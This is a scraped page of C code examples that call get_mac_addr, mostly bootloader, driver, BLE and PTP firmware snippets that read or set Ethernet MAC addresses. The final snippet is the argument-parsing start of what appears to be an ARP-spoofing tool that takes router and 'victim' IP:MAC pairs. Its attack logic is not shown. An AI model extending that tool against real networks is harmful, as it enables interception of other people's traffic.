예제 #1
0
int misc_init_r(void)
{
	uint8_t tmp[20], addr[10];

	printf ("ARM Clock : %d Hz\n", clk_get(DAVINCI_ARM_CLKID));
	printf ("DDR Clock : %d Hz\n", clk_get(DAVINCI_DDR_CLKID)/2);

	if (getenv("ethaddr") == NULL) {
		/* Set Ethernet MAC address from EEPROM */
		get_mac_addr(addr);

		if(is_multicast_ether_addr(addr) || is_zero_ether_addr(addr)) {
			printf("Invalid MAC address read.\n");
			return -EINVAL;
		}
		sprintf((char *)tmp, "%02x:%02x:%02x:%02x:%02x:%02x", addr[0],
				addr[1], addr[2], addr[3], addr[4], addr[5]);

		setenv("ethaddr", (char *)tmp);
	}

#ifdef CONFIG_DRIVER_TI_EMAC_USE_RMII
	/* Select RMII fucntion through the expander */
	if (rmii_hw_init())
		printf("RMII hardware init failed!!!\n");
#endif

	dspwake();	

	return (0);
}
예제 #2
0
int main(void) {
	uint8_t mac_buf[MAC_ADDR_SIZE];
	uint8_t i;
	uint8_t verify=0;

	SystemInit();
	/* init buffer */
	for(i=0; i<MAC_ADDR_SIZE; i++) {
		mac_buf[i] = 0;
	}

	LPC_GPIO1->FIODIR |= 0x20040000;
	LPC_GPIO1->FIOSET |= (1 << 29);
	LPC_GPIO1->FIOCLR |= (1 << 18);

	get_mac_addr(mac_buf);

	for(i=0; i<MAC_ADDR_SIZE; i++) {
		if(mac_buf[i] != 0){
			verify = 1;
			break;
		}
	}
	if (verify == 1) {
		LPC_GPIO1->FIOPIN |= (1<<29);
	} else {
		LPC_GPIO1->FIOPIN &= ~(1<<29);
	}

	while(1);
}
예제 #3
0
int halexp_get_port_state(hexp_port_state_t *state, const char *port_name)
{
  state->valid         = 1;
#ifdef WRPC_MASTER
  state->mode          = HEXP_PORT_MODE_WR_MASTER;
#else
  state->mode          = HEXP_PORT_MODE_WR_SLAVE;
#endif
  ep_get_deltas( &state->delta_tx, &state->delta_rx);
  read_phase_val(state);
  state->up            = ep_link_up(NULL);
  state->tx_calibrated = 1;
  state->rx_calibrated = 1;
  state->is_locked     = spll_check_lock(0);
  state->lock_priority = 0;
  spll_get_phase_shift(0, NULL, &state->phase_setpoint);
  state->clock_period  = 8000;
  state->t2_phase_transition = cal_phase_transition;
  state->t4_phase_transition = cal_phase_transition;
  get_mac_addr(state->hw_addr);
  state->hw_index      = 0;
  state->fiber_fix_alpha = sfp_alpha;
  
  return 0;
}
예제 #4
0
int misc_init_r(void)
{
    uint8_t tmp[20], addr[10];


    if (getenv("ethaddr") == NULL) {
        /* Read Ethernet MAC address from EEPROM */
        if (dvevm_read_mac_address(addr)) {
            /* Set Ethernet MAC address from EEPROM */
            davinci_sync_env_enetaddr(addr);
        } else {
            get_mac_addr(addr);
        }

        if (is_multicast_ether_addr(addr) || is_zero_ether_addr(addr)) {
            printf("Invalid MAC address read.\n");
            return -EINVAL;
        }
        sprintf((char *)tmp, "%02x:%02x:%02x:%02x:%02x:%02x", addr[0],
                addr[1], addr[2], addr[3], addr[4], addr[5]);

        setenv("ethaddr", (char *)tmp);
    }
#ifdef CONFIG_DRIVER_TI_EMAC_USE_RMII
    /* Select RMII fucntion through the expander */
    if (rmii_hw_init())
        printf("RMII hardware init failed!!!\n");
#endif

    dspwake();

    return 0;
}
예제 #5
0
/**
 * Prepare ethernet MAC.
 *
 * @param ins_dev   Pointer to associated alt_iniche_dev struct
 * @return
 */
error_t eth_ocm_prep(alt_iniche_dev *ins_dev){
    NET ifp;
    int index;
    eth_ocm_dev *dev;

    index = ins_dev->if_num;
    dev = (eth_ocm_dev *)ins_dev;

    #if (ETH_OCM_DBG_LVL >= 1)
    //Status message
    dprintf("eth_ocm_prep\n");
    #endif // if ETH_OCM_DBG_LVL

    //create eth_ocm_info struct
    dev->info = (eth_ocm_info *)malloc(sizeof(eth_ocm_info));
    dev->info->sem = 0; //initialize semaphore
    dev->info->rx_pkts = (PACKET *)(malloc(sizeof(PACKET) * ETH_OCM_RX_DESC_COUNT));


    ifp = nets[index];
    ifp->n_mib->ifAdminStatus = ETH_OCM_STATUS_DOWN;    
    ifp->n_mib->ifOperStatus =  ETH_OCM_STATUS_DOWN;
    ifp->n_mib->ifLastChange =  cticks * (100/TPS);     //timestamp
    ifp->n_mib->ifPhysAddress = (u_char*)dev->info->mac_addr;
    ifp->n_mib->ifDescr =       (u_char*)"Opencores 10/100 ethernet MAC";
    ifp->n_lnh =                ETHHDR_SIZE;            /* ethernet header size. */
    ifp->n_hal =                ETH_OCM_MAC_ADDR_LEN;   /* MAC address length */
    ifp->n_mib->ifType =        ETHERNET;               /* device type */
    ifp->n_mtu =                ETH_OCM_MAX_MTU;        /* max frame size */

    /* install our hardware driver routines */
    ifp->n_init =       eth_ocm_init;
    #ifndef ETH_OCM_SYNC_TX
    ifp->pkt_send =     eth_ocm_pkt_send;
    ifp->raw_send =     NULL;
    #else
    ifp->pkt_send =     NULL;
    ifp->raw_send =     eth_ocm_raw_send;
    #endif // ifndef ETH_OCM_SYNC_TX
    ifp->n_close =      eth_ocm_close;
    ifp->n_stats =      eth_ocm_stats;

#ifdef IP_V6
      ifp->n_flags |= (NF_NBPROT | NF_IPV6);
#else
      ifp->n_flags |= NF_NBPROT;
#endif

    /* set cross-pointers between iface and eth_ocm structs */
    dev->info->netp = ifp;
    ifp->n_local = (void*)(dev);

    /* get the MAC address. */
    get_mac_addr(ifp, dev->info->mac_addr);

    index++;
    return index;
}
static char *nativeGetEndpointAddress(const char *interface)
{
	char pTmp[1024]={0};
	char pAddr[32];

	get_mac_addr(pAddr, interface);
	sprintf(pTmp, "urn:uuid:98190dc2-0890-4ef8-ac9a-%s", pAddr);

	char *addr;
	set_field_string(&addr, pTmp);
	return addr;
}
예제 #7
0
int prep_dm9000a(int index)
{  
  DM9KA dm9ka = &g_dm9ka;
  NET ifp;

  ifp = nets[index];
  ifp->n_mib->ifAdminStatus = 2;   /* status = down */
  ifp->n_mib->ifOperStatus = 2;    /* will be set up in init()  */
  ifp->n_mib->ifLastChange = cticks * (100/TPS);
  ifp->n_mib->ifPhysAddress = (u_char*)dm9ka->mac_addr;
  ifp->n_mib->ifDescr = (u_char*)"DM9000A series ethernet";
  ifp->n_lnh = ETHHDR_SIZE;        /* ethernet header size */
  ifp->n_hal = 6;                  /* hardware address length */
  ifp->n_mib->ifType = ETHERNET;   /* device type */
  ifp->n_mtu = MTU;                /* max frame size */
  
  /* install our hardware driver routines */
  ifp->n_init   = dm9ka_init;
  ifp->pkt_send = dm9ka_pkt_send;
  ifp->n_close  = dm9ka_close;
  ifp->n_stats  = dm9ka_stats;

#ifdef IP_V6
  ifp->n_flags |= (NF_NBPROT | NF_IPV6);
#else
  ifp->n_flags |= NF_NBPROT;
#endif

  get_mac_addr(dm9ka->netp, dm9ka->mac_addr);
    
  /* set cross-pointers between iface and smsc structs */
  dm9ka->netp    = ifp;
  dm9ka->intnum  = DM9000A_INST_IRQ;
  dm9ka->regbase = DM9000A_INST_BASE;
  dm9ka->sending = 0;
  dm9ka->rx_ints = 0;
  dm9ka->tx_ints = 0;
  dm9ka->rcv_len = 0;
  dm9ka->snd_len = 0;
  dm9ka->tosend.q_len = 0;
  dm9ka->tosend.q_max = 0;
  
  ifp->n_local = (void*)dm9ka;

  return ++index;
}
예제 #8
0
static int eeprom_ioctl( struct inode *inode, struct file *file,
			 unsigned int cmd, unsigned long arg )
{
	switch( cmd ){ 
		case SET_MAC_ADDRS: 
				set_mac_addr((u_char*)arg ) ;
				break;
		
		case GET_MAC_ADDRS: 
				get_mac_addr((u_char*)arg ) ;
				break;
		default: 
				return -EINVAL ;
	}

	return 0;
}
예제 #9
0
//--------------------------------------------------
uint32_t ble_step_init(ble_step_t * p_step, const ble_step_init_t * p_step_init)
{
    if (p_step == NULL || p_step_init == NULL)
    {
        return NRF_ERROR_NULL;
    }
    
    uint32_t   err_code;
    ble_uuid_t ble_uuid;
	uint8_t target[4]={0};
	
    // Initialize service structure
    p_step->evt_handler               = p_step_init->evt_handler;
    p_step->conn_handle               = BLE_CONN_HANDLE_INVALID;
    p_step->is_notification_supported = p_step_init->support_notification;
    p_step->step_count_last        = INVALID_BATTERY_LEVEL;

    // Add service
    BLE_UUID_BLE_ASSIGN(ble_uuid, BLE_UUID_WECHAT_SERVICE);

    err_code = sd_ble_gatts_service_add(BLE_GATTS_SRVC_TYPE_PRIMARY, &ble_uuid, &p_step->service_handle);
    if (err_code != NRF_SUCCESS)
    {
        return err_code;
    }
	get_mac_addr(mac_address);

    //mac address Characteristic
    BLE_GAP_CONN_SEC_MODE_SET_OPEN(&mac_address_attr_md.read_perm);
    BLE_GAP_CONN_SEC_MODE_SET_NO_ACCESS(&mac_address_attr_md.write_perm);
    read_char_add(BLE_UUID_WECHAT_MACADD,BLE_GAP_ADDR_LEN,mac_address,
                            &mac_address_attr_md,
                            &mac_address_handles,p_step);
	//target Characteristic
	target[0]=1;
	target[1]=0x10;
	target[2]=0x27;
    BLE_GAP_CONN_SEC_MODE_SET_OPEN(&target_attr_md.read_perm);
    BLE_GAP_CONN_SEC_MODE_SET_NO_ACCESS(&target_attr_md.write_perm);
    indicate_char_add(BLE_UUID_WECHAT_TARGET,4,target,
                            &target_attr_md,
                            &target_handles,p_step);
    // Add battery level characteristic
    return step_count_char_add(p_step, p_step_init);
}
예제 #10
0
파일: slip.c 프로젝트: deawoo/contiki
/* Upper half does the polling. */
static uint16_t
slip_poll_handler(uint8_t *outbuf, uint16_t blen)
{
  /* This is a hack and won't work across buffer edge! */
  if(rxbuf[begin] == 'C') {
    int i;
    if(begin < end && (end - begin) >= 6
       && memcmp(&rxbuf[begin], "CLIENT", 6) == 0) {
      state = STATE_TWOPACKETS;	/* Interrupts do nothing. */
      memset(&rxbuf[begin], 0x0, 6);
      
      rxbuf_init();
      
      for(i = 0; i < 13; i++) {
	slip_arch_writeb("CLIENTSERVER\300"[i]);
      }
      return 0;
    }
  }
#ifdef SLIP_CONF_ANSWER_MAC_REQUEST
  else if(rxbuf[begin] == '?') { 
    /* Used by tapslip6 to request mac for auto configure */
    int i, j;
    char* hexchar = "0123456789abcdef";
    if(begin < end && (end - begin) >= 2
       && rxbuf[begin + 1] == 'M') {
      state = STATE_TWOPACKETS; /* Interrupts do nothing. */
      rxbuf[begin] = 0;
      rxbuf[begin + 1] = 0;
      
      rxbuf_init();
      
      rimeaddr_t addr = get_mac_addr();
      /* this is just a test so far... just to see if it works */
      slip_arch_writeb('!');
      slip_arch_writeb('M');
      for(j = 0; j < 8; j++) {
        slip_arch_writeb(hexchar[addr.u8[j] >> 4]);
        slip_arch_writeb(hexchar[addr.u8[j] & 15]);
      }
      slip_arch_writeb(SLIP_END);
      return 0;
    }
예제 #11
0
파일: net.c 프로젝트: a-rubini/ptp-noposix
wr_socket_t *ptpd_netif_create_socket(int sock_type, int flags, wr_sockaddr_t *bind_addr)
{
  int i;
  hexp_port_state_t pstate;
  struct my_socket *sock;

	/* Look for the first available socket. */
	for (sock = NULL, i=0; i<NET_MAX_SOCKETS; i++)
    	if(!socks[i].in_use)
    	{
    		sock = &socks[i];
    		break;
    	}
	
	if (!sock)
	{
	 	TRACE_WRAP("No sockets left.\n");
	 	return NULL;
	}

  if (sock_type != PTPD_SOCK_RAW_ETHERNET)
    return NULL;

  if (halexp_get_port_state(&pstate, bind_addr->if_name) < 0)
    return NULL;

  memcpy (&sock->bind_addr, bind_addr, sizeof(wr_sockaddr_t));

  /*get mac from endpoint*/
  get_mac_addr(&sock->local_mac);

  sock->phase_transition = pstate.t2_phase_transition;
  sock->dmtd_phase = pstate.phase_val;

  /*packet queue*/
  sock->queue.head = sock->queue.tail = 0;
  sock->queue.avail = NET_SKBUF_SIZE;
  sock->queue.n = 0;
  sock->in_use = 1;

  return (wr_socket_t*)(sock);
}
예제 #12
0
/*! @brief mach init 
	mac high layer initialization
	@return    pointer of MACH_PARAM
	@exception  return NULL
 *********************************************************************/
struct mach_param *mach_init(void)
{
	memset(&mach,0,sizeof(struct mach_param));
	mach.macl = macl_init();
	if(mach.macl == NULL) return NULL;

	// set data buffer for ack
	mach.ack.raw.data = tx_ackbuf;
	mach.ack.raw.size = sizeof(tx_ackbuf);
	mach.ack.raw.len = 0;
	tx_enhance_ack.data = NULL;
	tx_enhance_ack.size = 0;
	tx_enhance_ack.len = 0;
	rx_enhance_ack.data = rx_enhance_ack_buffer;
	rx_enhance_ack.size = sizeof(rx_enhance_ack_buffer);
	rx_enhance_ack.len = 0;
	macl_sleep(true);
	get_mac_addr(mach.my_addr.ieee_addr);

	return &mach;
}
예제 #13
0
/*
 *  Main	
 */
int main(int argc, char** argv)
{
	modeType mode;
	bool hdd_access;
    FILE* fpFile = parameter_check(&mode, argc, argv);

	fingerprintType fprnt;
	get_mac_addr(&fprnt);
    hdd_access = get_hdd_ser(&fprnt);

#ifdef TEST
	int i;
	printf("Test: Sys MAC Addr: ");
	for(i = 0; i < MAC_LENGTH; ++i) {
		printf("%.2X ", (unsigned char)fprnt.mac_addr[i]);
	}
	printf("\n");
#endif	

	// Print to file (WRITE mode) or display results (READ mode)
	if(mode == MODE_WRITE) {
		fwrite(fprnt.mac_addr, 1, sizeof(fprnt.mac_addr), fpFile);
        if (hdd_access == true) {
   		    fwrite(fprnt.hdd_serial, 1,
                   strlen(fprnt.hdd_serial),fpFile);
        }
	} else {
		bool result = compare_file(&fprnt, fpFile, hdd_access);
		switch(result) {
			case true: printf("The fingerprint matches.\n"); break;
			case false: printf("The fingerprint DOES NOT match.\n"); break;
		}
	}

	fclose(fpFile);

	return 0;
}
예제 #14
0
파일: upnptest.c 프로젝트: kid0607/ssl
USER_FUNC  void upnp_main_thread(void* arg)
{
	int upnp_fd;
	uint32_t if_addr;
	fd_set sockfd_set;
	int max_fd ;
	struct timeval tv;	
	char *pkt_buffer;
	int ret,i;
	char *p=0;
#define UPNP_RECV_PACKET_SIZE      (1024)
	extern int hfnet_enable_multicast(int enable);
	hfnet_enable_multicast(1);
	pkt_buffer = hfmem_malloc(UPNP_RECV_PACKET_SIZE);
	if(pkt_buffer==NULL)
	{
		//u_printf("no mem\n");
		return;
	}
	while(1)
	{
		if((if_addr=get_if_ip_addr())==0)  //µÃµ½Ä£¿éµ±Ç°ipµØÖ·  kim
		{
			msleep(500);
			continue;
		}
		get_mac_addr();
		//u_printf("kim+++ if_addr is %x\n",if_addr);
		
		upnp_fd = create_multicast_socket(if_addr);
		if(upnp_fd<0)
			return;
		else
			break;
	}
	
	//tcp server  
	listenfd = socket(AF_INET, SOCK_STREAM, 0);
	
	memset((char*)&servaddr,0,sizeof(servaddr));
	servaddr.sin_family = AF_INET;
	servaddr.sin_port = htons(30001);
	servaddr.sin_addr.s_addr=htonl(INADDR_ANY);	

  bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr));
	
	listen(listenfd,10);

	//u_printf("tcp server bind ok!\n");
	
	
	if(listenfd > upnp_fd)
		max_fd =listenfd;
	else
		max_fd =upnp_fd;
	maxi = -1;
	
	for(i=0;i<MAXCLIENT;i++)
	{
		client[i] = -1;
	}
	//
	
			
	
	while(1)
	{
		int recvsize=0;
	
		tv.tv_sec=0;
		tv.tv_usec=200;
		////u_printf("time=%d\n",hfsys_get_time());
		
		
		
		
		FD_ZERO(&sockfd_set);
		FD_SET(upnp_fd,&sockfd_set);	
		FD_SET(listenfd,&sockfd_set);
		
	
		for(i=0;i<MAXCLIENT;i++)
		{
			if(client[i]>=0)
			{
				
				FD_SET(client[i],&sockfd_set);
				
				if(client[i] > max_fd)
					max_fd =client[i];
			
			}
		}
	/*	
			count++;
			if(count == 1000)
			{
				//u_printf("send alive package\r\n");
				send_alive_packet(upnp_fd,pkt_buffer,UPNP_RECV_PACKET_SIZE,if_addr);			
				count = 0;
			}		
		*/
		ret=select(max_fd+1,&sockfd_set,NULL,NULL,&tv);
		
		

		
		
		if(ret<=0)
		{
					
			//send_alive_packet(upnp_fd,pkt_buffer,UPNP_RECV_PACKET_SIZE,if_addr);
			continue;
		}
	
		if(FD_ISSET(listenfd, &sockfd_set))   //s2
		{
		
			clilen = sizeof(cliaddr);
			connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen);
			for(i=0;i<MAXCLIENT;i++)
			{
				if(client[i]<0)
				{
					client[i] = connfd;
					maxi = maxi+1;
					//u_printf("accept client socket : %d  client count : %d\n",connfd,maxi+1);
					break;
				}
			}
			if(i == MAXCLIENT)
			{
				//u_printf("too many clients\r\n");
			}
			
		  /*FD_SET(connfd, &sockfd_set); //½«ÒÑÁ¬½Ósocket ¼ÓÈëselect
			
			if(connfd > max_fd)
				max_fd = connfd;  */
			
			//if(i > maxi)
			
			
			if(--ret<=0)
				continue;			
		}
	
		for(i=0;i<=maxi;i++)  //¼ì²éËùÓеÄÒÑÁ¬½ÓsocketÓÐÎÞÊý¾Ý  //s3
		{
			
			if(((sockfd = client[i])<0))
				continue;
			
			if(FD_ISSET(sockfd, &sockfd_set))
			{
				
				if((recv_num =recv(sockfd,tcpserver_buf,sizeof(tcpserver_buf),0))>0)
				{
					while(tcp_send_finish == 0)
					{
						u_printf("busy,try late again\r\n");
						msleep(10);
					}
					
					tcp_send_finish = 0;
					////u_printf("recv data bytes:%d\n %s\r\n",recv_num,tcpserver_buf);

					
					if(recv_num <400)  //·ÀÖ¹Á½ÌõÏûÏ¢Õ³Á¬
					{						
						TCP_Encode(); //add tcp identification code			

						u_printf("FW to MCU,LOCAL TCP,TCP fd is %d:\r\n%s\r\n\r\n",sockfd,tcpserver_encodedbuf);
						
						hfuart_send(HFUART0,tcpserver_encodedbuf,strlen(tcpserver_encodedbuf), 50);
					
				//	if(tcp_uartfd == 0)
					//{
						tcp_uartfd = sockfd;
					}
					else
					{
						u_printf("recv num is %d, a catastrophe.Get rid of it\r\n",recv_num);					
					}
					
						tcp_send_finish = 1;

					
					  //²âÊÔ²éѯÉ豸ÓÃ
/*		
					if((p = strstr(tcpserver_buf,"info"))!= NULL)   //ÊÖ»ú²éѯÉ豸ÐÅÏ¢
				{
					//u_printf("send info\r\n");
					write(sockfd,info,strlen(info));
				}
				else if((p = strstr(tcpserver_buf,"channel"))!= NULL)   //ÊÖ»ú²éѯ°²È«Ä£Ê½´ò¿ª¹Ø±ÕµÄ״̬
				{
					//u_printf("send channel\r\n");
					write(sockfd,channel,strlen(channel));
				}
	*/				
				
					memset(tcpserver_encodedbuf,0,400);
					memset(tcpserver_buf,0,400);		
				
				}
				else
				{
					close(sockfd);
					//FD_CLR(sockfd, &sockfd_set);
					client[i] = -1;
					maxi=maxi -1;
					//u_printf("delet client socket ,client count : %d\n",maxi+1);
					
				}
		
				if(--ret <= 0)
					break;
				
			}
		}		
		
		
		if(FD_ISSET(upnp_fd, &sockfd_set))  //s1
		{			
			struct sockaddr_in fromaddr;
			
				
			socklen_t sockaddr_size = sizeof(struct sockaddr_in);
			memset(pkt_buffer,0,UPNP_RECV_PACKET_SIZE);
			recvsize = recvfrom(upnp_fd, (char*)pkt_buffer, UPNP_RECV_PACKET_SIZE-4, 0,(struct sockaddr *) &fromaddr, &sockaddr_size);
			
	//		//u_printf("kim+++ Broadcast from  ip:%x, port:%x\n",fromaddr.sin_addr.s_addr,fromaddr.sin_port);
			if (recvsize < 0)
			{
				//u_printf("recv() fail\n");
			}
			else
			{

				
				
				if(strstr(pkt_buffer,"Lucis-tech")!=NULL)
				{
					//u_printf("recv length=%d,buffer is %s\n",recvsize,pkt_buffer);
					if(Sync_Flag == 1)   //only  after  mcu sync Fa info to wifi
					{
						//u_printf("test AAA\r\n");
						send_msearch_rsp_packet(&fromaddr);
					}
				}	

			}			
			
			if(--ret<=0)
				continue;
		}
		


	}

	if(pkt_buffer!=NULL)
		hfmem_free(pkt_buffer);
	
	return ;
}
예제 #15
0
int syslog_poll(void)
{
	struct wr_sockaddr addr;
	char buf[256];
	char b[32];
	unsigned char mac[6];
	unsigned char ip[4];
	static uint32_t down_tics;
	int len = 0;
	uint32_t now;

	/* for temperature state */
	static uint32_t next_temp_report, next_temp_check;

	/* for servo-state (accesses ppsi  internal variables */
	extern struct pp_instance *ppi;
	struct wr_servo_state *s;
	static uint32_t prev_tics;
	static int track_ok_count, prev_servo_state = -1;

	if (IS_HOST_PROCESS)
		s = NULL;
	else
		s = &((struct wr_data *)ppi->ext_data)->servo_state;

	if (ip_status == IP_TRAINING)
		return 0;
	if (!syslog_addr.daddr)
		return 0;

	now = timer_get_tics();

	if (!tics) {
		/* first time ever, or new syslog server */
		tics = now - 1;
		get_mac_addr(mac);
		len = syslog_header(buf, SYSLOG_DEFAULT_LEVEL, ip);
		len += pp_sprintf(buf + len, "(%s) Node up "
				 "since %i seconds", format_mac(b, mac),
				 (tics - tics_zero) / 1000);
		goto send;
	}

	if (link_status == LINK_WENT_DOWN)
		down_tics = now;
	if (link_status == LINK_UP && down_tics) {
		down_tics = now - down_tics;
		len = syslog_header(buf, SYSLOG_DEFAULT_LEVEL, ip);
		len += pp_sprintf(buf + len, "Link up after %i.%03i s",
				 down_tics / 1000, down_tics % 1000);
		down_tics = 0;
		goto send;
	}


	if (!prev_tics)
		prev_tics = now;

	if (s && s->state == WR_TRACK_PHASE &&
	    prev_servo_state != WR_TRACK_PHASE) {
		/* we reached sync: log it */
		track_ok_count++;

		prev_servo_state = s->state;
		prev_tics = now - prev_tics;
		if (track_ok_count == 1) {
			len = syslog_header(buf, SYSLOG_DEFAULT_LEVEL, ip);
			len += pp_sprintf(buf + len,
				   "Tracking after %i.%03i s",
				   prev_tics / 1000, prev_tics % 1000);
			goto send;
		}
		len = syslog_header(buf, SYSLOG_DEFAULT_LEVEL, ip);
		len += pp_sprintf(buf + len,
				  "%i-th re-rtrack after %i.%03i s",
				  track_ok_count,
				  prev_tics / 1000, prev_tics % 1000);
		goto send;
	}
	if (s && s->state != WR_TRACK_PHASE &&
	    prev_servo_state == WR_TRACK_PHASE) {
		prev_servo_state = s->state;
		prev_tics = now;
		len = syslog_header(buf, SYSLOG_DEFAULT_LEVEL, ip);
		len += pp_sprintf(buf + len, "Lost track");
		goto send;
	}


	if (!next_temp_check) {
		next_temp_check = now + 1000;
		next_temp_report = 0;
	}

	if (time_after_eq(now, next_temp_check)) {
		struct wrc_onetemp *t = NULL;
		int over_t = 0;

		next_temp_check += 1000;
		while ( (t = wrc_temp_getnext(t)) )
			over_t += (t->t > (CONFIG_TEMP_HIGH_THRESHOLD << 16));
		/* report if over temp, and first report or rappel time */
		if (over_t && (!next_temp_report
			       || time_after_eq(now, next_temp_report))) {
			next_temp_report = now + 1000 * CONFIG_TEMP_HIGH_RAPPEL;
			len = syslog_header(buf, SYSLOG_DEFAULT_LEVEL, ip);
			len += pp_sprintf(buf + len, "Temperature high: ");
			len += wrc_temp_format(buf + len, sizeof(buf) - len);
			goto send;
		}
		if (!over_t && next_temp_report) {
			next_temp_report = 0;
			len = syslog_header(buf, SYSLOG_DEFAULT_LEVEL, ip);
			len += pp_sprintf(buf + len, "Temperature ok: ");
			len += wrc_temp_format(buf + len, sizeof(buf) - len);
			goto send;
		}
	}
	return 0;

send:
	memcpy(&syslog_addr.saddr, ip, 4);
	fill_udp((void *)buf, len, &syslog_addr);
	memcpy(&addr.mac, syslog_mac, 6);
	ptpd_netif_sendto(syslog_socket, &addr, buf, len, 0);
	return 1;
}
예제 #16
0
파일: net.c 프로젝트: a-rubini/ptp-noposix
int ptpd_netif_get_hw_addr(wr_socket_t *sock, mac_addr_t *mac)
{
  get_mac_addr((uint8_t *)mac);

  return 0;
}
예제 #17
0
파일: da850evm.c 프로젝트: frawang/u-boot
int misc_init_r(void)
{
	dspwake();

#if defined(CONFIG_MAC_ADDR_IN_SPIFLASH) || defined(CONFIG_MAC_ADDR_IN_EEPROM)

	uchar env_enetaddr[6];
	int enetaddr_found;

	enetaddr_found = eth_env_get_enetaddr("ethaddr", env_enetaddr);

#ifdef CONFIG_MAC_ADDR_IN_SPIFLASH
	int spi_mac_read;
	uchar buff[6];

	spi_mac_read = get_mac_addr(buff);

	/*
	 * MAC address not present in the environment
	 * try and read the MAC address from SPI flash
	 * and set it.
	 */
	if (!enetaddr_found) {
		if (!spi_mac_read) {
			if (is_valid_ethaddr(buff)) {
				if (eth_env_set_enetaddr("ethaddr", buff)) {
					printf("Warning: Failed to "
					"set MAC address from SPI flash\n");
				}
			} else {
					printf("Warning: Invalid "
					"MAC address read from SPI flash\n");
			}
		}
	} else {
		/*
		 * MAC address present in environment compare it with
		 * the MAC address in SPI flash and warn on mismatch
		 */
		if (!spi_mac_read && is_valid_ethaddr(buff) &&
		    memcmp(env_enetaddr, buff, 6))
			printf("Warning: MAC address in SPI flash don't match "
					"with the MAC address in the environment\n");
		printf("Default using MAC address from environment\n");
	}
#endif
	uint8_t enetaddr[8];
	int eeprom_mac_read;

	/* Read Ethernet MAC address from EEPROM */
	eeprom_mac_read = dvevm_read_mac_address(enetaddr);

	/*
	 * MAC address not present in the environment
	 * try and read the MAC address from EEPROM flash
	 * and set it.
	 */
	if (!enetaddr_found) {
		if (eeprom_mac_read)
			/* Set Ethernet MAC address from EEPROM */
			davinci_sync_env_enetaddr(enetaddr);
	} else {
		/*
		 * MAC address present in environment compare it with
		 * the MAC address in EEPROM and warn on mismatch
		 */
		if (eeprom_mac_read && memcmp(enetaddr, env_enetaddr, 6))
			printf("Warning: MAC address in EEPROM don't match "
					"with the MAC address in the environment\n");
		printf("Default using MAC address from environment\n");
	}

#endif
	return 0;
}
예제 #18
0
파일: plt.c 프로젝트: PavanSavoy/ti-utils
static int plt_tx_cont(struct nl80211_state *state, struct nl_cb *cb,
			struct nl_msg *msg, int argc, char **argv)
{
	struct nlattr *key;
	struct wl1271_cmd_pkt_params prms = {
		.src_mac = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff },
	};

	if (argc != 15)
		return 1;
#if 0
	printf("%s> delay (%d) rate (%08x) size (%d) amount (%d) power (%d) "
		"seed (%d) pkt_mode (%d) DCF (%d) GI (%d) preamble (%d) type "
		"(%d) scramble (%d) CLPC (%d), SeqNbrMode (%d) DestMAC (%s)\n",
		__func__,
		atoi(argv[0]),  atoi(argv[1]),  atoi(argv[2]),  atoi(argv[3]),
		atoi(argv[4]),  atoi(argv[5]),  atoi(argv[6]),  atoi(argv[7]),
		atoi(argv[8]),  atoi(argv[9]),  atoi(argv[10]), atoi(argv[11]),
		atoi(argv[12]), atoi(argv[13]), argv[14]
	);
#endif
	memset((void *)&prms, 0, sizeof(struct wl1271_cmd_pkt_params));

	prms.test.id = TEST_CMD_FCC;
	prms.delay = atoi(argv[0]);
	prms.rate = atoi(argv[1]);
	prms.size = (unsigned short)atoi(argv[2]);
	prms.amount = (unsigned short)atoi(argv[3]);
	prms.power = atoi(argv[4]);
	prms.seed = (unsigned short)atoi(argv[5]);
	prms.pkt_mode = (unsigned char)atoi(argv[6]);
	prms.dcf_enable = (unsigned char)atoi(argv[7]);
	prms.g_interval = (unsigned char)atoi(argv[8]);
	prms.preamble = (unsigned char)atoi(argv[9]);
	prms.type = (unsigned char)atoi(argv[10]);
	prms.scramble = (unsigned char)atoi(argv[11]);
	prms.clpc_enable = (unsigned char)atoi(argv[12]);
	prms.seq_nbr_mode = (unsigned char)atoi(argv[13]);
	str2mac(prms.dst_mac, argv[14]);

	if (get_mac_addr(0, prms.src_mac))
		fprintf(stderr, "fail to get MAC addr\n");

	printf("%02X:%02X:%02X:%02X:%02X:%02X\n",
		prms.src_mac[0], prms.src_mac[1], prms.src_mac[2],
		prms.src_mac[3], prms.src_mac[4], prms.src_mac[5]);

	key = nla_nest_start(msg, NL80211_ATTR_TESTDATA);
	if (!key) {
		fprintf(stderr, "fail to nla_nest_start()\n");
		return 1;
	}

	NLA_PUT_U32(msg, WL1271_TM_ATTR_CMD_ID, WL1271_TM_CMD_TEST);
	NLA_PUT(msg, WL1271_TM_ATTR_DATA, sizeof(prms), &prms);

	nla_nest_end(msg, key);

	return 0;

nla_put_failure:
	fprintf(stderr, "%s> building message failed\n", __func__);
	return 2;
}
예제 #19
0
int main(int argc, char **argv) {
    eth_header *ethernet;
    arp_header *arp;
    int arg, c, set_router = 0, set_target = 0;
    int unidir = 0;
    char *interface = NULL;
    char *exitValue;
    FILE *config;
    char *router = NULL, *victim = NULL;

    if (argc < 2) {
        fprintf(stderr, "Too Few Arguments\n");
        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
        fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n-r \"{ROUTER_IP:ROUTER_MAC}\" \n-t \"{VICTIM_IP:VICTIM_MAC}\" \n", argv[0]);
        return 1;
    } else {
        while ((c = getopt(argc, argv, "i:ur:t:")) != -1) {
            switch (c) {
                case 'i':
                    interface = optarg;
                    break;
                case 'u':
                    // flag for uni-directional
                    unidir = 1;
                    break;
                case 'r':
                    // flag for router info
                    router = optarg;
                    set_router = 1;
                    break;
                case 't':
                    // flag for target info
                    victim = optarg;
                    set_target = 1;
                    break;
                case '?':
                    if (optopt == 'i') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n", argv[0]);
                    } else if (optopt == 'r') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -r {router_ip-router_mac} \n", argv[0]);
                    } else if (optopt == 't') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -t {target_ip-target_mac} \n", argv[0]);
                    } else if (isprint(optopt)) {
                        fprintf(stderr, "Unknown option '-%c'.\n", optopt);
                    } else {
                        fprintf(stderr, "Unknown option character '\\x%x'.\n", optopt);
                    }
                    return 1;
            }
        }
    }

